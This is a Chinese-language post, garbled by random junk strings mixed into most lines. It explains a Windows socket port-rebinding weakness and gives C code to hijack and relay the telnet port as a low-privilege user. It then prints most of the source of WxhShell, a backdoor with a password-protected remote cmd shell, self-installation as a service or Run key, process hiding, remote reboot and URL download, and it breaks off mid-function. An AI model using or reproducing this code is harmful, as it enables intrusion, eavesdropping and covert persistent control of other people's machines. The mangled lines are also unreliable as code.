在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G;v3kGn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
u1_NC; DjQgF=; saddr.sin_family = AF_INET;
RS
/*Dp^ QVPJ$~x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'=]|" 1ppU
?# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]m"6a-,` oAxCI/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[rtMx8T k|[86<&[ 这意味着什么?意味着可以进行如下的攻击:
geEETb}+y >'2=3L^Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7DCu#Y[ @8'LI8 \/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iVqXf;eB!5 I vD M2q8f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]ppws3*Pa ()%;s2>F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f^9ntos| E8PlGQ~z{d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fGMuml?[ e g%T` 6dvT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)b;}]C so@wUxF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5qQ\ H} 'v'=t<wgl #include
l\1_v7s #include
iE=:}"pI" #include
#wP$LKk #include
Q'K[?W|C DWORD WINAPI ClientThread(LPVOID lpParam);
(ixlFGvEq int main()
TM^.y
Y {
b<"LUM*; WORD wVersionRequested;
Jqgo\r%` DWORD ret;
5R/k8UZ WSADATA wsaData;
(G`O[JF BOOL val;
37nGFH`K2m SOCKADDR_IN saddr;
OysO55 i SOCKADDR_IN scaddr;
=y WHm int err;
f`"@7-N SOCKET s;
n`2LGc[rP SOCKET sc;
`]4bH,%~ int caddsize;
T +~
_D HANDLE mt;
AN
'L-
E DWORD tid;
YKG}4{T wVersionRequested = MAKEWORD( 2, 2 );
[pYjH+< err = WSAStartup( wVersionRequested, &wsaData );
px=r~8M9} if ( err != 0 ) {
6T ,'Oz printf("error!WSAStartup failed!\n");
d2[R{eNX= return -1;
ZRLS3*` }
'?dT<w=Y& saddr.sin_family = AF_INET;
u[?M{E/HU AG(Gtvw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i+eDBg6 1h#UM6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MgUjB~)Y saddr.sin_port = htons(23);
"?#O*x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G>w+J'7 {
1QJB4|5R# printf("error!socket failed!\n");
L#9g ~>~ return -1;
Vf] ;hm }
cSWn4-B@l val = TRUE;
l
F*x\AT //SO_REUSEADDR选项就是可以实现端口重绑定的
Nvj0MD{ X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Kuy0Ci {
e]@R'oM?#` printf("error!setsockopt failed!\n");
]d -U return -1;
d td}P~ }
]Wdnr1d~8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^P}c0}^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]gG&X3jaKq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;Br
#e1~ u:GDM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`g!NFp9q {
Tmr%r'i3 ret=GetLastError();
>^ijj`{d printf("error!bind failed!\n");
Yi+$g return -1;
z`KP
}- }
&n-)Alx listen(s,2);
e<1)KqG while(1)
+je{%,* {
35PIfqm caddsize = sizeof(scaddr);
J{h?=vK //接受连接请求
@'fWS^ ;& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_8'z"wF if(sc!=INVALID_SOCKET)
_W^{,*p {
g]Fm%iy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8KyF0r? if(mt==NULL)
d<+@cf_9 {
{&d )O printf("Thread Creat Failed!\n");
wC~LZSTt break;
]0@
06G(y }
4NxI:d$&* }
ePxwN? CloseHandle(mt);
.}x:yKyi@ }
X>kW)c4{b closesocket(s);
0$\
j WSACleanup();
CGY,I
UG return 0;
Xw_6SR9C }
f5dctDHP DWORD WINAPI ClientThread(LPVOID lpParam)
OXIy0].b {
iDrQ4> SOCKET ss = (SOCKET)lpParam;
Y4)v>&H SOCKET sc;
.BjnV%l7Id unsigned char buf[4096];
32Jl|@8,g SOCKADDR_IN saddr;
6
~d\+aV long num;
1./iF>*A DWORD val;
0V5 {:mzA DWORD ret;
S1D;Xv@ //如果是隐藏端口应用的话,可以在此处加一些判断
'e5,%"5(c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z|IFT1K saddr.sin_family = AF_INET;
m?_@.O@] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
A
^U`c'$ saddr.sin_port = htons(23);
1G62Qu$O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4oywP^I {
t o2y#4'. printf("error!socket failed!\n");
->Bx>Y return -1;
L$4nbOu\~ }
\bzT=^Z;2 val = 100;
3E]IEf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$G@^!( {
w;(B4^? ret = GetLastError();
kV:C=MLI return -1;
5KvqZ1L }
2z615?2_U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#uillSV {
ti}G/*4 ret = GetLastError();
'1te(+;e@ return -1;
n,.t~ }
k%fy if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vB;$AFh{ {
}}MZgm~U) printf("error!socket connect failed!\n");
ct-;L' a closesocket(sc);
("-`Y'"K closesocket(ss);
nps"nggk return -1;
QQIU5 }
:dkBr@u96O while(1)
k>mqKzT0$+ {
;OD+6@Sr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
SF?s^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Sw^-@w=!U5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]`GDZw` num = recv(ss,buf,4096,0);
*, RxOz2= if(num>0)
Oxq} dX7S send(sc,buf,num,0);
* Qe{CE else if(num==0)
Z5%T pAu[ break;
r(ufyC& num = recv(sc,buf,4096,0);
?~#{3b if(num>0)
`UH 1B/ send(ss,buf,num,0);
aq<QKnU else if(num==0)
P|{Et=R`1 break;
`p{,C`g,R }
GYM6 ` closesocket(ss);
>h<bYk "9Q closesocket(sc);
Isna
KcLM return 0 ;
z3>oUq{ }
%zA$+eT y.m;4(( S+Vsy( ==========================================================
{%Ujp9i I'%(f@u~ 下边附上一个代码,,WXhSHELL
Q1(6U6L Vuu_Sd ==========================================================
iJD_qhd7 6*r3T:u3 #include "stdafx.h"
`.8#q^ 2lm{: tS #include <stdio.h>
*N|s+ #include <string.h>
Gaxa~?ek #include <windows.h>
a{%]X('; #include <winsock2.h>
!ii'hwFm$ #include <winsvc.h>
oHI/tS4
_ #include <urlmon.h>
]psx\ZMa Jb4A!g5C #pragma comment (lib, "Ws2_32.lib")
UZq1qn@+ #pragma comment (lib, "urlmon.lib")
*)H&n>"e Vn1hr;i] #define MAX_USER 100 // 最大客户端连接数
7gY^a MW #define BUF_SOCK 200 // sock buffer
d[Lr`=L; #define KEY_BUFF 255 // 输入 buffer
GY;q0oQ, 7TN94@kCF #define REBOOT 0 // 重启
t4E= #define SHUTDOWN 1 // 关机
WJN}d-S=^ h]z>H~.<* #define DEF_PORT 5000 // 监听端口
Jxy94y* +m8gS;'R4 #define REG_LEN 16 // 注册表键长度
N>J"^ GX #define SVC_LEN 80 // NT服务名长度
={a_?l% m;]glAtt // 从dll定义API
(xhwl=MX) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:5M7*s)e16 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
xHMbtY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`!$I6KxT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(`&`vf xjDV1Xf* // wxhshell配置信息
U|HF;L struct WSCFG {
/2\%X`]< int ws_port; // 监听端口
g~AOKHUP char ws_passstr[REG_LEN]; // 口令
6W abw: int ws_autoins; // 安装标记, 1=yes 0=no
4z##4^9g char ws_regname[REG_LEN]; // 注册表键名
w
9mi2= char ws_svcname[REG_LEN]; // 服务名
@^';[P! char ws_svcdisp[SVC_LEN]; // 服务显示名
5V{zdS= char ws_svcdesc[SVC_LEN]; // 服务描述信息
*1[v08?! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`/z6Q" int ws_downexe; // 下载执行标记, 1=yes 0=no
*NDM{WB|) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
HX3R@^vo char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o?$B<Cb" +s'qcC };
QQwD)WG WhR j@y // default Wxhshell configuration
"7k
82dw struct WSCFG wscfg={DEF_PORT,
~e!b81 "xuhuanlingzhe",
u0(PWCi2 1,
d* 6 lJT "Wxhshell",
Pkbx/\ "Wxhshell",
oe:@7stG "WxhShell Service",
{G
D<s)) "Wrsky Windows CmdShell Service",
2AAZZx +$ "Please Input Your Password: ",
De(\<H# 1,
u(s/4Lu "
http://www.wrsky.com/wxhshell.exe",
domaD"C "Wxhshell.exe"
-K_p?
l };
&l=%*`On M=hH:[6 & // 消息定义模块
'>] 9efJA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
y2U^7VrO char *msg_ws_prompt="\n\r? for help\n\r#>";
wf<=rW' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rK%A=Q char *msg_ws_ext="\n\rExit.";
0DBA 'Cv char *msg_ws_end="\n\rQuit.";
`KgWaf- char *msg_ws_boot="\n\rReboot...";
Y70[Nz char *msg_ws_poff="\n\rShutdown...";
eL-9fld/n char *msg_ws_down="\n\rSave to ";
65ctxxWv1 9aR-kcvJIJ char *msg_ws_err="\n\rErr!";
hZ0CnY8 ' char *msg_ws_ok="\n\rOK!";
.#,!&Lt aF9p%HPDw char ExeFile[MAX_PATH];
?_L)|:WL int nUser = 0;
5UQz6DK HANDLE handles[MAX_USER];
5xm^[o2#y int OsIsNt;
}T?0/N3y& V #0F2GV<, SERVICE_STATUS serviceStatus;
)@xHL]!5m SERVICE_STATUS_HANDLE hServiceStatusHandle;
GIt~"X "Z&-:1tP{9 // 函数声明
#S/]=D int Install(void);
hZE" 8%\q int Uninstall(void);
1XAXokxj int DownloadFile(char *sURL, SOCKET wsh);
Gyak?.@R int Boot(int flag);
(hB&OP5Fne void HideProc(void);
9U_uw
Rv2 int GetOsVer(void);
2Qqk?;^1 int Wxhshell(SOCKET wsl);
}hralef #N void TalkWithClient(void *cs);
w(QU '4~ int CmdShell(SOCKET sock);
(RR:{4I int StartFromService(void);
Awo H d7M int StartWxhshell(LPSTR lpCmdLine);
Zr0bVe+h B>3joe} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|&+0Tg~ZE VOID WINAPI NTServiceHandler( DWORD fdwControl );
hpD\, y\DR,$Py // 数据结构和表定义
hE41$9?TJ SERVICE_TABLE_ENTRY DispatchTable[] =
F_9e ju^| {
El;\#la {wscfg.ws_svcname, NTServiceMain},
6q[|U_3I@ {NULL, NULL}
(c X;a/BR };
B&~#.<23: R\%&Q| // 自我安装
&@O]' int Install(void)
[X'XxYbZ {
/Q4TQ\: char svExeFile[MAX_PATH];
(j^Qa~{mG4 HKEY key;
4aAuE0 strcpy(svExeFile,ExeFile);
d%:B,bck 2NHkK_B1P // 如果是win9x系统,修改注册表设为自启动
uXX3IE[ if(!OsIsNt) {
o5 UM)g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+*2 ]R~"M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$niJw@zC RegCloseKey(key);
zI5#'<n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7~@9=e8G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^t&S?_DSZ RegCloseKey(key);
d{cd+An return 0;
b^wL{q }
&_-,Nxsf }
l^ P[nQDH }
"<3F[[;~ else {
6>rgoT)6~ mRe BS // 如果是NT以上系统,安装为系统服务
si:p98[w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
UEZnd8 if (schSCManager!=0)
p5 |.E {
+FD"8 ^YC SC_HANDLE schService = CreateService
:Ve>tZeW (
u^DfRd&P0 schSCManager,
LUGyc( h wscfg.ws_svcname,
DJxe3< wscfg.ws_svcdisp,
:DI``]Si\ SERVICE_ALL_ACCESS,
O)y|G%O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`nAR/Ye SERVICE_AUTO_START,
.+|HJ( SERVICE_ERROR_NORMAL,
W(h].'N svExeFile,
k[9~Er+ NULL,
u@j]U|FpY NULL,
)HHG3cvU NULL,
;D}8acQ NULL,
{MP8B'r-6 NULL
: +Na8\d );
DQC=f8 if (schService!=0)
+Bg$]~T {
Lnin;0~{ CloseServiceHandle(schService);
i3bH^WwE&k CloseServiceHandle(schSCManager);
?b?6/_W~R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,/?7sHK-0 strcat(svExeFile,wscfg.ws_svcname);
Y>Oh]? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BHoy:Tp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rI/;L<c RegCloseKey(key);
~#z8Q{!O return 0;
b@GL*Z }
bXVH7F y }
/.54r/FN') CloseServiceHandle(schSCManager);
z_Em%X }
LA!2!60R }
[BPK0 4R 9lA return 1;
`/W6,] }
?T]` X
6n[O8^ // 自我卸载
'R'P^ int Uninstall(void)
Z>0a?=1[ {
&J>XKO nl HKEY key;
<SK%W= 5)tDgm if(!OsIsNt) {
>3{#S: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I4[sf RegDeleteValue(key,wscfg.ws_regname);
]q#w97BxiJ RegCloseKey(key);
1(S0hm[ov if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N4]Sp v RegDeleteValue(key,wscfg.ws_regname);
]i$<<u RegCloseKey(key);
0:NCIsIm< return 0;
\<cs:C\h7 }
&hTe-Es }
.[%^~q7 }
"H{Etb/ else {
Y[_{tS#u 9%+Nzo(Fd
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v BP
5n if (schSCManager!=0)
Y^ Of {
~3f`= r3/. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
fP+RuZ if (schService!=0)
+<l6!r2Z {
6wIo95` if(DeleteService(schService)!=0) {
.A(QqL> CloseServiceHandle(schService);
Ptt CloseServiceHandle(schSCManager);
(d9G` return 0;
"!- }
|hx"yy'ux CloseServiceHandle(schService);
NOC8h\s}( }
h/'b(9fS CloseServiceHandle(schSCManager);
CcGE4BB }
sBN"eHg }
HPGIz!o V/p+Xv(Zt return 1;
tu4-##{ }
E#?Bn5-uBs 8iv0&91Z // 从指定url下载文件
&c?q#-^)\+ int DownloadFile(char *sURL, SOCKET wsh)
[-ONs {
2p^Jqp`$ HRESULT hr;
6]%SSq& char seps[]= "/";
)Y@E5Tuk> char *token;
wwvS05=[T char *file;
Yz%A Kp char myURL[MAX_PATH];
":qhO0 char myFILE[MAX_PATH];
"3&bh>#qY UyFvj4SU strcpy(myURL,sURL);
ILN Yh3 token=strtok(myURL,seps);
sJI"
m'r=Z while(token!=NULL)
aXv[~ {
ec8iZ8h8 file=token;
k?!CJ@5$ token=strtok(NULL,seps);
=3~5I& }
1
N{unS `\p5!Iq
Q GetCurrentDirectory(MAX_PATH,myFILE);
`G@(Z:]f,t strcat(myFILE, "\\");
=c(t;u6m- strcat(myFILE, file);
f9%M:cl send(wsh,myFILE,strlen(myFILE),0);
!t;B.[U * send(wsh,"...",3,0);
#<$pl]>}t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+.czj,Sq if(hr==S_OK)
/8cfdP Ba return 0;
GbXa=*
<-< else
l:@`.'-= return 1;
0:1[F!]'b S17iYjy#8T }
EDDld6O, ;bYpMcH // 系统电源模块
hL?"! int Boot(int flag)
q PveG1+25 {
Qhc>,v) HANDLE hToken;
&06pUp
iS TOKEN_PRIVILEGES tkp;
G5oBe6\C &UFj
U%Z% if(OsIsNt) {
=q\Ghqj1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r(ZMZ^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
cv=H6j]h| tkp.PrivilegeCount = 1;
?hFG+`"W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+A;AX.mr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
su}n3NsJ if(flag==REBOOT) {
@cS(Bb!(M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P&snIJ return 0;
dED&-e# }
vY"i^a`f else {
'NAC4to;; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{ Mv$~T|e7 return 0;
.UGbo.e }
-f-@[; D }
TOH+JL8L else {
srGF=1_ if(flag==REBOOT) {
lZ*V.-D^] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S^c;i return 0;
WV8vDv1jt }
n:8<Ijrh else {
{<P{uH\l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b(HbwOt~3 return 0;
K ; eR) }
Y00hc8< }
/5wIbmz@I %.rVIc" return 1;
.4cVX|T }
C"*8bVx]$n ?*/1J~<(@ // win9x进程隐藏模块
NI^jQS
M] void HideProc(void)
my}l?S[2d@ {
t_"]n*zk1 &y+)xe:&S HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r.ib"W#4 if ( hKernel != NULL )
U)JwoO {
J=?P`\h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xt zjFfq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@Rw]boC FreeLibrary(hKernel);
yEPkF0? }
L!LhH -Q MO*PY return;
GlOSCJZ }
KBg5_+l 3+WmM4| // 获取操作系统版本
dr gCr:Gf int GetOsVer(void)
x:E:~h[.^ {
\LYNrL~?J OSVERSIONINFO winfo;
(`js/7[`H[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hRI?>an GetVersionEx(&winfo);
=,J-D6J? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^//`Dz return 1;
ec&K}+p@ else
l
Zz%W8" return 0;
2DXV~> }
Q35D7wo'} IIY3/ // 客户端句柄模块
|@Ze{\
int Wxhshell(SOCKET wsl)
z5g4+y, {
]
L6LB\ SOCKET wsh;
nc9sfH3 struct sockaddr_in client;
~N]pB]/][ DWORD myID;
gkFw=Cd
5_+pgJL while(nUser<MAX_USER)
% pQi}x {
m:)sUC0 int nSize=sizeof(client);
j58'P 5N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
aflBDo1c if(wsh==INVALID_SOCKET) return 1;
jAxrU pn p)- a*7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZkmYpi[ if(handles[nUser]==0)
eE5j6`5i closesocket(wsh);
l\_81oZ else
]-{A"tJ nUser++;
m9mkZ:r(kV }
4XgzNwm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f/vsf&^O .c]@xoC return 0;
I\<)9`O }
kLe{3>}j 6^sH3=# // 关闭 socket
i'3)5 void CloseIt(SOCKET wsh)
b6d}<b9# {
G<>h>c1>z closesocket(wsh);
I#:Dk?"O2 nUser--;
S#b)RpY ExitThread(0);
sf Zb$T
J }
>^GAfvW X@\ 9}*9 // 客户端请求句柄
oIGF=x,e8 void TalkWithClient(void *cs)
5 89P$2e1X {
W.^R/s8O%5 T-y5U}, SOCKET wsh=(SOCKET)cs;
9R99,um$ char pwd[SVC_LEN];
^[.Z~>3!\q char cmd[KEY_BUFF];
=\IUBH+C char chr[1];
ke19(r Ch int i,j;
M~g{}_0Z Xu7lV while (nUser < MAX_USER) {
]Q -.Y-J/O zsr; 37 if(wscfg.ws_passstr) {
>9,LN;Ic if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,0aRHy_^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/pL'G` //ZeroMemory(pwd,KEY_BUFF);
w3FEX$`_ i=0;
R,`3 SW() while(i<SVC_LEN) {
"eIE5h TGZr
[ // 设置超时
e3WEsD+ fd_set FdRead;
>">grDX struct timeval TimeOut;
F./P,hhN9 FD_ZERO(&FdRead);
"h:#'y$V FD_SET(wsh,&FdRead);
hu5o{8[ TimeOut.tv_sec=8;
N=j$~,yG TimeOut.tv_usec=0;
o('6,D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
H`nd | if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
*})Np0k >"[Nmx0;w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\xKhbpO~ pwd
=chr[0]; ->'xjD
if(chr[0]==0xd || chr[0]==0xa) { '[p0+5*x
pwd=0; /Zg4JQ~
break; ,VZ<r5NT
} +@dgHDJ
i++; wg^'oy
} km29]V=}
k1fX-2H
// 如果是非法用户,关闭 socket TTJj=KPA
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Qd%`k
} cd;~60@K
bd&Nf2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NdB:2P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,S?M;n?z_
]Y3s5#n
while(1) { hR,5U=+M7
^qNZ!V4T
ZeroMemory(cmd,KEY_BUFF); ,|?rt`8)Q
zKQXmyO
// 自动支持客户端 telnet标准 c@lH
j=0; [Uw3.CVh
while(j<KEY_BUFF) { Mo]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %:8XZf
cmd[j]=chr[0]; K1t>5zm
if(chr[0]==0xa || chr[0]==0xd) { V U~r~
cmd[j]=0; COcS
w
break; QG
1vP.K
} g2 tM!IRQ
j++; ;FnS=Z
} OE2r2ad
pE6r7
// 下载文件 @;Xa&*
if(strstr(cmd,"http://")) { cG!dMab(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); c3N,P<#
if(DownloadFile(cmd,wsh)) ~8Ez K_c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xz"xp8Hc(6
else ;O {"\H6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nuaq{cl
} V82hk0*j
else { V1\Rj0#G
s'$3bLcb
switch(cmd[0]) { sV`p3L8pl
S5e"}.]|
// 帮助 Xj$'i/=-+c
case '?': { R_Uy.0=4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sz>Lbs
break; Hli22~7T:
} HxNoV.q
// 安装 !Aw.)<teW
case 'i': { R T/)<RT9
if(Install()) ]%+T+zg(Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); beFD}`
else G=&nwSL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b5W(}ka+
break; 8b< 'jft
} !f G}<6&i
// 卸载 .QB)Y* z
case 'r': { 8UXtIuQ
if(Uninstall())
M 9KoQS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJ;!'@
else n4 o}}tI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I{kLN1TY
break; m:c .dei5
} +O@|bd\
// 显示 wxhshell 所在路径 ;]T;mb>
case 'p': { u6iX&%e
char svExeFile[MAX_PATH]; G.>Ul)O:a
strcpy(svExeFile,"\n\r"); A }d\ND
strcat(svExeFile,ExeFile); /-Nq DRmJ
send(wsh,svExeFile,strlen(svExeFile),0); n7L|XkaQ
break; 4MP8t@z
} TiD|.a8S
// 重启 7,FhKTV1/
case 'b': { uEr[' >
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [BFPIVD)h]
if(Boot(REBOOT)) Uwg*kJ3H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &[kFl\
else { %wN*Hu~E
closesocket(wsh); 5-POYug
ExitThread(0); 4}Yn!"jW&
} I[bWd{i:
break; af|x(:!H
} 41I2t(H @z
// 关机 $8>II0C.
case 'd': { ,&s%^I+CC
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -(9TM*)O
if(Boot(SHUTDOWN)) :Q"p!,X=-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !wH'dsriD
else { HrHtA]
closesocket(wsh); b&*N
ExitThread(0); JwdvY]
} LQJC ]*b1
break; _J>!K'Dz
} .Xk#Cwm'
// 获取shell a$$aM2.2
case 's': { ^a=V.
CmdShell(wsh); 7myYs7N8[
closesocket(wsh); r+,JM L
ExitThread(0); =L*-2cE6#
break; Z*YS7 ~
} n,`j~.l-=>
// 退出 C&;m56
case 'x': { _xr@dK<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U$LI~XZM
CloseIt(wsh); <J-.,:
break;
+f'@
} ebhV;Q.
// 离开 ]BfJ~+ N
case 'q': { b
4A1M
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =jvL2ps<
closesocket(wsh); `Af5%m[
WSACleanup(); a!\^O).pA
exit(1); (;(2n;i[M
break; WMnxN34
} )3)x/WM
} 3 V$
\s8
} ,e;_
Vb
pI(
H7 (
// 提示信息 lA n^)EL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;OSEMgB1
} TbgIr
} U+:Mu]97
[E9)Da_)i
return; JN3&(t
} #Ht;5p>5
ko6[Ej:TBo
// shell模块句柄 {~ 1
~V
int CmdShell(SOCKET sock) 5W(`lgVs,
{ &<t`EI];)4
STARTUPINFO si; E6#")2C~
ZeroMemory(&si,sizeof(si)); lfqsoIn;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C5~
+"#B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'SKq<X%R;
PROCESS_INFORMATION ProcessInfo; SyIi*dH
char cmdline[]="cmd"; N'YQ6U
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `:
9n
]xP
return 0; F{laA YE
} ;n.SRy6
VN]j*$5
// 自身启动模式 aEdc8i?
int StartFromService(void) spma\,o
{ ftP]WGSS>
typedef struct OZ}o||/Rc
{ )|KZGr
DWORD ExitStatus; R*VEeLx
